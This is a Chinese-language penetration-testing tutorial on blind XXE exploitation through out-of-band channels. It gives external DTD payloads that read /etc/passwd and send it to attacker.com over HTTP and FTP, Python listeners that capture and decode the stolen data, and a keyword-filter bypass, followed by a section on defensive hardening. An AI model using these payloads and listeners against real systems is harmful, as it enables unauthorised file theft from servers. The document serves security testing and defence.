XML外部实体注入(XXE)这个老伙计,从我入行做安全测试开始就一直没消停过。早年间大家觉得它就是个“读取文件”的漏洞,curl一个file协议看看/etc/passwd就完事了。可实际挖洞和做渗透的兄弟都清楚,现在的目标系统哪有那么配合?要么加了WAF盯着<!ENTITY这些关键字,要么XML解析器做了限制,更常见的情况是——你发过去的payload石沉大海,页面根本没有任何回显。这时候要是还只会基础玩法,基本就卡死了。所以这篇就专门聊XXE进阶里最有实战价值的一块:利用OOB(Out-of-Band)通道与协议流进行数据外带。我会从原理层面讲明白为什么需要外带,然后完整拆解外部DTD、参数实体、HTTP/FTP/文件协议这些关键操作,最后配上实操流程、踩坑记录和排查思路,给正在跟XXE较劲的兄弟们一份能直接上手参考的笔记。
适用人群:已经知道XXE是什么、能看懂XML实体基础语法,但卡在“无回显”或者“被过滤”场景里的安全测试人员、红队成员、代码审计工程师。如果你是零基础,建议先把DTD、实体、DOCTYPE这些概念过一遍再来看这篇,否则有些环节跟起来会费劲。
1. XXE进阶前必懂的两个底层逻辑
1.1 为什么“直接读文件”的路子越来越走不通
要理解OOB通道的价值,先得搞清楚传统XXE利用为什么会在真实场景里频繁失效。
正常情况下,一个存在XXE的XML解析器会替我们完成实体替换。请求里写了<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>,文档里引用&xxe;,解析器就会把文件内容当作文本插入,然后应用程序把这些内容渲染到响应里,于是我们在页面上直接看到文件内容——这就是“有回显”的场景。
但实际测试中你会发现,回显是个奢侈品。常见原因有三类:
- 接口只接收XML但从不把解析结果反射到响应体,典型的就是登录接口、状态提交接口,成功失败都只返回一个布尔值。
- 解析发生在后端异步任务里,比如消息队列消费、定时任务处理,请求发过去马上返回“已接收”,解析结果根本不走HTTP响应。
- 代码里用
setErrorHandler吞掉了所有解析异常,或者全局异常处理把错误信息统一替换成了“Internal Server Error”。
还有一类更头疼的:解析器能力被裁剪了。Java的DocumentBuilderFactory如果不手动关闭外部实体和DTD,默认情况下对file://协议是放开的,但很多框架在出厂配置里就把外部实体禁用了。PHP如果没开expect扩展,expect://协议就用不了。这些限制叠加起来,传统打法基本宣告失效。
这时候OOB的价值就体现出来了:既然解决“无回显”,那我干脆让目标服务器主动把敏感数据发到我能控制的服务器上来,用一个带外请求来承载数据。思路很简单,落地全是细节。
1.2 OOB外带的数据通路是怎么搭起来的
OOB的核心思想可以概括成一句话:让存在XXE的服务器,替我们把文件内容“塞进”一个我们能监听的请求里发出来。
传统有回显利用,数据流是“文件 → XML实体 → 响应页面 → 攻击者”。OOB利用的数据流是“文件 → XML实体 → 带外请求 → 攻击者监听服务器”。后者多了一条“带外请求”的链路,但换来的是完全摆脱了对应用响应的依赖。
具体实现OOB,绕不开三个关键组件:
- 外部DTD文件:存放在攻击者控制的服务器上,文件名通常叫
evil.dtd或者payload.dtd。它的作用是承载真正干活的实体定义。 - 参数实体:XML里形如
<!ENTITY % name SYSTEM "URI">的定义方式,注意那个百分号。参数实体和普通实体的最大区别就是,它只能在DTD内部被引用,而且正因为这个特性,它可以被用来构造“嵌套请求”。 - 带外协议的选取:数据塞进哪个协议的请求里发出来。HTTP是最常用的,因为好监听、好接收、好解析。FTP也常见,尤其是在内网环境里目标只能出站到特定端口时。DNS在某些极端环境下也能用,但数据块大小和字符集受限比较明显。
这三样凑齐之后,我们会把真正的外带实体定义放在远端DTD里,本地XML只做一件事:加载这个远端DTD。为什么要这样绕一圈?直接本地定义不是更简单吗?不行,因为参数实体引用的URL里不能嵌套另一个参数实体作为协议头的一部分——这是XML规范里的硬限制,各大解析器都遵守。举个例子,<!ENTITY % xxe SYSTEM "file:///%_file;">这种写法,在标准解析器里是跑不通的(虽然个别解析器有解析顺序的差别,但正规的利用不建议赌这个)。所以业内统一做法是:本地XML只负责引入外部DTD,具体外带逻辑全部放到外部DTD里定义,用两步甚至三步跳转绕开这个限制。
2. 外部DTD加载与参数实体:OOB的基石细节
2.1 本地Payload的最小可用结构
我们先看一个最基础的OOB external DTD利用结构。攻击者服务器上放一个evil.dtd,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;本地构造的XML请求体长这样:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> <root>test</root>执行流程是这样的:
- 解析器读到
%remote;,向http://attacker.com/evil.dtd发起HTTP请求,获取外部DTD内容。 - 解析器加载DTD后,依次处理其中的声明。
%file参数实体被定义,但此时并未展开。 %eval定义了一个新的内部实体声明文本——注意%是百分号的实体编码形式,因为在实体值里不能直接写“%”,否则会被当作参数实体引用的开头。- 调用
%eval;,让解析器动态生成了一条新的实体声明<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=...'>,其中...的位置就是%file;展开后的结果。 - 调用
%exfil;,触发对外部URL的请求,将文件内容拼接进了HTTP请求的URL参数里。
到了这一步,你监听服务器的日志里就会出现一条类似这样的请求:
GET /?data=Um9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW46L2Jhc2gK...后面那串就是经过base64编码的/etc/passwd内容。为什么需要base64?因为文件原始内容里极可能有换行符、特殊字符、中文字符、二进制字节,直接塞进URL会破坏请求结构、引发解析失败或截断。base64编码之后整个实体值只包含大小写字母、数字、+、/和=,URL安全问题基本消除。
2.2 参数实体与外带URL之间的相互约束
关于“为什么不能用一套实体直接完成外带,而非得用%eval动态生成实体”这个问题,值得展开说说。
XML的实体解析机制有几个硬性规定:
- 参数实体不能出现在标记声明之外的内容中。只能用在DTD内部。
- 实体值里的
%会被识别为参数实体引用的开始,所以实体定义里想声明另一个参数实体,必须用%编码百分号。 - 一个实体的值中引用另一个实体时,展开是分阶段进行的。但一个参数实体引用的URI部分是“字面值”,解析器不会再去把字面值里嵌套的实体引用再展开一次。也就是不允许
SYSTEM "http://attacker.com/?data=%file;"里%file;再被展开的——至少在标准的XML解析流程里,这样构造出来的%exfil并不会像我们预期的那样去请求拼接后的URL。
这时%eval动态生成实体声明就成为一个广为人知的通用解法:先用一个字符串实体把“实体声明”这个整体拼出来,然后通过%eval;让解析器把这段文本当作新的DTD声明来解析。等于用一层间接,骗过了“URI字面值里不能再展开实体”的限制。这属于整个OOB利用里最关键的手艺,很多新手卡就卡在这一层理解上。
2.3 外部DTD放置与访问控制经验
实战中,外部DTD文件本身也要讲究。
监听服务器的HTTP服务要允许GET请求,且路径不要带特殊字符。把evil.dtd放在Web根目录,确认http://attacker.com/evil.dtd能直接通过浏览器访问到原始XML文本。有些解析器要求Content-Type不能是类似application/octet-stream的二进制类型,否则可能拒绝解析外部DTD,所以服务器端最好把.dtd文件的Content-Type调整为application/xml-dtd或text/xml。
另外,永远是“专事专办”:给每个目标系统准备一个固定的URL,路径带目标代号,方便在监听日志里区分不同目标的回调。没做过的人可能觉得这是小细节,可真到同时测三四个目标的时候,日志搅在一起,你会恨不得抽自己。
3. 协议流利用:不止HTTP,FTP也能干活
3.1 协议选择的决策维度
XML外部实体支持的协议范围取决于解析器运行语言和具体库实现。Java原生的HttpURLConnection支持http和https,对ftp的支持要看JVM版本和配置;PHP的libxml默认支持http、ftp、file、php://filter等;Python的lxml只支持http、file,默认不支持ftp。每种解析器对协议的支持范围差异很大,而且系统出站策略也是硬约束。
真实网络环境下选协议,本质上是在回答三个问题:
- 目标服务器能访问到我的哪类端口?
- 我能方便地监听并接收这类协议的数据吗?
- 协议本身对数据内容的容忍度如何?
常见出站策略里,目标机通常能访问外网的80/443端口,所以HTTP几乎永远是第一选择。Web服务器随便起一个,端口一开,GET请求日志一行行打出来,接收数据最舒服。FTP则在某些内网环境里有奇效——目标机被防火墙限制只能访问内网特定FTP服务器,或者出站策略里只放行了tcp 21,这时在自己的VPS上开一个FTP服务就能接住数据。
3.2 FTP协议流的外带构造
用FTP做OOB通道,原理和HTTP类似,但写法和接收端都不同。我们仍然用外部DTD方案,evil.dtd改成这样:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%file;'>"> %eval; %exfil;本地XML不变,仍然只是引入外部DTD。当%exfil;触发时,目标服务器会向attacker.com:2121发起一条FTP连接,而FTP的URL路径部分会把%file展开后的base64字符串带进去。
接收端怎么搞?网上有现成的FTP监听脚本,也可以用Python自己写一个简单的:
import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 2121)) server.listen(5) print("[*] Listening on FTP port 2121...") while True: client, addr = server.accept() print(f"[+] Connection from {addr}") client.recv(1024) client.send(b"220 FTP Server ready\r\n") data = client.recv(4096).decode(errors='ignore') print(data) client.close()严格来说,这段脚本只是演示级别,但足够接收目标服务器发来的FTP握手信息,URL里的路径(也就是%file展开的内容)会出现在FTP请求的命令里,例如:USER /Um9vdDp4OjA6MDpyb290...。注意这里的USER命令会把整个路径带上来,所以抓包后要做一次base64解码才能得到原始文件内容。
FTP外带需要注意的坑:某些XML解析器在请求FTP URL时,如果路径里有/,会把它当作目录分隔符去逐级“进入目录”,导致数据被拆成多段FTP命令。这种情况多见于Java解析器。解决方案一:用Java能支持的方式做整体编码;方案二:把数据长度限制在可控范围内。实战里还是优先HTTP,FTP作为备选方案在HTTP被限制时再上。
3.3 文件协议与伪协议的合理应用
文件协议(file://)在这个链路里扮演的角色不是外带通道,而是“数据源”。绝大多数利用场景都是用它读取目标机器上的本地文件。不同语言对文件协议的封装还有额外技能点,比如PHP里经典的php://filter组合:
php://filter/read=convert.base64-encode/resource=/etc/passwd这条链路的优势是把文件读取和base64编码在解析阶段一步完成,省得我们接收原始内容再处理。Java不支持php://filter,直接用file:///etc/passwd或file:///C:/Windows/win.ini即可。
那“协议流”这个词怎么理解?其实在XXE利用里,协议流描述的是数据在不同协议层之间的流转路径。以HTTP-OOB为例:实体值为file://协议读取的本地文件内容 → 经过base64编码掏空特殊字符风险 → 拼接到http://协议的URL参数里 → 用HTTP请求发送到攻击者服务器。整条数据流横跨文件协议、实体编码、HTTP协议三个层面,任何一个环节处理不当,链条就会断。这也是为什么网上很多人拿着现成的payload却一直外带失败——他们只关注“有没有这个协议”,却忽略了协议之间数据的“格式兼容性”。
4. 无回显场景下的完整外带实操流程
4.1 从探活到出数据的四步走
真实环境里我第一次成功做OOB外带,用的是下面这套流程,后来做成模板反复用,效率高了不少。
第一步:探活。判断目标XML解析器是否会向外发起请求。先不急着读文件,构造一个无副作用的带外请求:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/probe.dtd"> %remote; ]> <root>test</root>probe.dtd里就一句话:<!ENTITY % test SYSTEM "http://attacker.com/probe_dtd_loaded.dtd">,在本地DTD加载时直接触发。如果监听服务器收到了访问probe.dtd和probe_dtd_loaded.dtd的请求,说明外部DTD加载成功、带外能力可用。如果只收到probe.dtd而没收到probe_dtd_loaded.dtd,说明外部DTD加载了但参数实体引用被限制,需要换思路。
第二步:确认文件读取能力。探测目标解析器能读什么、不能读什么。在可回显的场景里直接测file:///etc/passwd或file:///C:/Windows/win.ini;在无回显场景里用OOB链路,传一个短文件内容做测试。
第三步:上编码防截断。确认文件能读之后,立即在实体链路上加base64编码。无编码的情况下,实体值里如果包含换行符(Unix文本文件几乎必然有),URL请求就可能被解析器截断或导致请求畸形。加编码后整个实体值是单行安全字符,外带成功率大幅提升。
第四步:完整外带并解码。拿到带外请求,把URL参数里的base64字符串复制出来,本地解码还原文件内容。
这套四步走框架很朴素,但胜在稳定。每一步都能独立验证结果,出问题能快速定位是加载失败、读取失败还是传输损坏。
4.2 不同语言/解析器下的Payload变体
不同后端语言对XML解析的实现细节差异很大,我在实际测试里整理了几个高频场景的可用写法。
Java(DocumentBuilderFactory或SAXParser,未禁用外部实体时):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> <root>test</root>这时候远端evil.dtd里的file实体可以直接写file:///etc/passwd。如果目标是Windows系统,读取路径要写成file:///C:/Windows/win.ini。
PHP(simplexml_load_string或DOMDocument加载XML,且未禁用外部实体时):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> <root>test</root>远端DTD里建议用php://filter包一层base64:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">Python的lxml默认禁止外部实体,但某些业务代码会主动打开resolve_entities=True,这种情况下同样可以按标准OOB流程打。
.NET的XmlDocument在不额外配置的情况下会禁止外部实体,但老版本框架或某些配置不当的场景仍然可打,利用方式同Java。
4.3 实战记录:一个带过滤场景的绕过过程
有一次测试一个内部系统,XML请求体做了基础过滤,把SYSTEM和PUBLIC关键字直接替换成空字符串,我当时以为是死路,后来想了个办法:用字符实体和空格拆分关键字绕过。
目标过滤逻辑大概是正则匹配/SYSTEM|PUBLIC/i然后替换为空。那我把关键字拆开写:
<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>其中SYSTEM这个关键词如果被过滤,就换成SYSTEM。XML解析器在DTD对外部标识符的解析阶段,会对字面值里的预定义实体做展开,于是SYSTEM在实际解析层会被还原为SYSTEM,而过滤层的正则匹配的是原始文本,不匹配SYSTEM。不过这个手法要求过滤层和解析层对文本的处理顺序有差异,具体的有效性要看目标实现。
那次跑通之后,我对外带链路里“实体编码绕过”的认知就升级了:凡是正则匹配原始请求文本的WAF/过滤器,都有机会用XML实体编码或字符编码绕过去;而解析器在还原实体值之后才执行URI请求,这个时间差天然给了绕过空间。
5. 常见问题与排查技巧实录
5.1 外带请求始终不发出来,先查哪个环节
如果探活阶段直接失败,本地DTD都加载不出来,按这个顺序排查:
- 外部DTD可达性:先在浏览器直接访问
http://attacker.com/evil.dtd,确认文件存在且返回内容正确。再用curl -I看响应头,确认没有重定向、没有403。 - 解析器版本和默认策略:Java 8之后的
DocumentBuilderFactory默认策略虽然不直接禁止外部实体,但很多框架里封装了安全配置;PHP的libxml_disable_entity_loader(true)一开,外部实体加载直接失效。先确认目标环境能不能做外部加载。 - 出站防火墙:目标服务器可能根本访问不了你的公网IP。换个思路,如果目标能访问内网里你控制的机器,就用内网IP做回调地址。
- 请求中的XML命名空间问题:有些情况下外部实体加载失败是因为XML文档本身格式不标准,比如默认命名空间冲突、header声明缺失等。先抓包看目标返回的原始响应,把报错信息捞出来再对症下药。
5.2 请求发出去了但数据为空或截断
这个是最常见也是最磨人的问题。请求收到了,但?data=参数是空的,或者内容只有一半。可能原因:
- 没有先做base64编码。文件内容里的换行符把URL截断了,或者在HTTP请求行里产生了非法字符,被解析器拒绝。解决办法是回到外部DTD,给文件读取环节套上编码转换(PHP用
php://filter,Java可以在读到内容后用实体拼接方式先测短文件)。 - 内容太大超出URL长度限制。某些解析器或HTTP客户端默认限制URL长度,超出部分直接丢弃。可以改读取目标,换成小文件;或者改用POST方式把数据带进请求体。
- 目标文件不存在或无权读取。解析器可能抛了异常,但我们监听的服务器不会收到任何请求。这时候先读一个肯定存在的文件,比如Linux的
/etc/hostname、Windows的C:/Windows/win.ini,验证链路本身是否通畅。 - 内容编码与预期不符。有些文件是UTF-16编码(比如Windows某些配置文件),读出来之后实体值里全是NUL字节(
%00),URL请求就废了。遇到这种情况,base64编码转换能解决大部分编码兼容问题。
5.3 监听端该怎么做数据提取才高效
自己搭监听端时,别只靠肉眼盯终端。最省事的方案是直接用Nginx或Apache访问日志,把所有请求都落到access log,然后用grep捞带外关键字。或者写一个极简的Python HTTP服务,把?data=后的参数自动做一次base64解码并写入文件:
from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs import base64 class Handler(BaseHTTPRequestHandler): def do_GET(self): parsed = urlparse(self.path) params = parse_qs(parsed.query) if 'data' in params: try: decoded = base64.b64decode(params['data'][0]) with open('exfil_result.txt', 'ab') as f: f.write(decoded + b'\n') print(f"[+] Saved payload from {self.client_address}") except Exception as e: print(f"[-] Decode failed: {e}") self.send_response(200) self.end_headers() self.wfile.write(b"OK") HTTPServer(('0.0.0.0', 80), Handler).serve_forever()这个脚本是典型的“够用就好”,在公网VPS上起个服务,收数据的同时自动base64解码落地到文件。比起每次手动复制日志里的base64字符串去解码,效率高了一大截。
5.4 两个隐蔽的坑:实体定义顺序与编码声明
经验里有两个隐蔽坑值得单独提。
第一个是实体定义顺序。参数实体%file的定义必须出现在%eval定义之前,同时%eval必须在%exfil之前被引用。如果定义顺序错了,解析器引用时实体尚未声明,直接报错。这个顺序问题在复制网上payload时最容易踩。
第二个是XML声明里的encoding。如果请求体的XML声明是<?xml version="1.0" encoding="UTF-8"?>,那外部DTD文件里的内容也最好用UTF-8保存。如果DTD文件里出现和声明编码不符的字符(比如从Windows记事本保存成了GBK),解析器可能直接拒绝处理,外带也带不出来。轻则报错重则静默失败,排查起来非常迷惑。
6. 防御视角的复盘与个人建议
6.1 修复方案的思路与落地
老话重提:修复XXE的第一准则是彻底禁用外部实体。但实操里我发现一个很容易被忽略的点——不少团队只禁用了external-general-entities和external-parameter-entities,但没禁掉load-external-dtd。这样看似堵住了,但某些解析器组合下还是存在绕过空间。如果业务上确实需要解析XML但完全不需要引用外部资源,最稳妥的做法是把DTD整个关掉,或者直接用JSON类解析替代XML解析。
各语言安全编码标准里都有对应的硬关闭配置。Java侧把setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)加上,基本能一劳永逸。但别忘了这只是应用层防御,WAF侧同样要针对<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC这些特征做检测,双保险。
6.2 从攻击者视角反推加固清单
防御前先理解攻击者的选路逻辑:他优先选择的目标一定是“能出外网、能解析外部DTD、业务上会处理XML”的节点。所以针对性的加固可以从三个面去推:
- 网络层面:出站访问控制别只限制80/443,FTP、DNS、SSH等常见外带协议同样要管控。很多内网系统只做了入站防护,出站是裸奔状态,这给OOB类漏洞的利用提供了极大的便利。
- 应用层面:XML解析器全局配置统一收口,而不是让开发各自在代码里配置。我见过某大厂项目,安全团队下发了禁用规则,但几个老模块用了私有XML解析器,根本没走统一配置,最后被甲方测试打穿。
- 数据层面:别把敏感数据明文放在解析器能读到的路径里。系统账号密码、数据库连接串如果放在
/etc或配置目录,一旦XXE发生,OOB外带直接把这些数据打包送走。权限最小化配合加密存储,即使解析器被攻破也能降低损失面。
6.3 后续还可以怎么扩展这个技术栈
OOB与协议流的思路其实不止用于XXE,同样的思想可以迁移到SSRF检测、XML解析器fuzzing、反序列化漏洞利用等场景。掌握了“外部加载 + 参数实体 + 二次注入 + 协议外带”这条链路之后,它的方法论价值远比一个具体的XXE漏洞利用更大。比如做SSRF测试时,如何判断目标能否访问内网地址、能否用不同协议探测端口,用的也是同一套带外探测逻辑。
7. 最后一块补丁:我个人的实战体感
玩了几年XXE OOB,最大的体感是:这玩意儿能不能打成,七分在链路,三分在payload。很多人copy了一堆payload来回试,却忽略了对目标环境的判断。拿到目标先别急着打,花两分钟搞清楚三件事:目标用的什么语言和解析器?目标能不能访问外网?目标响应里有没有把解析错误吐出来的线索?这三件事搞清楚了,基本就能决定走哪条通道、用哪种编码、需不需要绕过过滤。
另外就是监听端千万别图省事。每次测XXE我都提前把监听服务和日志落地脚本准备好,目标一旦回调,数据当场就能拿到解析结果。磨刀不误砍柴工,准备工作做扎实了,测试过程反而顺畅很多。
关于OOB和协议流这套玩法,后续还可以深入的方向包括:DNS通道在XML解析器里的利用细节、不同解析器对FTP协议路径的解析差异、以及如何用OJ(外部实体加内联解析)做到近乎实时的大文件分块外带。这些都是老话题新瓶装旧酒,等下次我在实战里踩了新坑,再回来更新这篇笔记。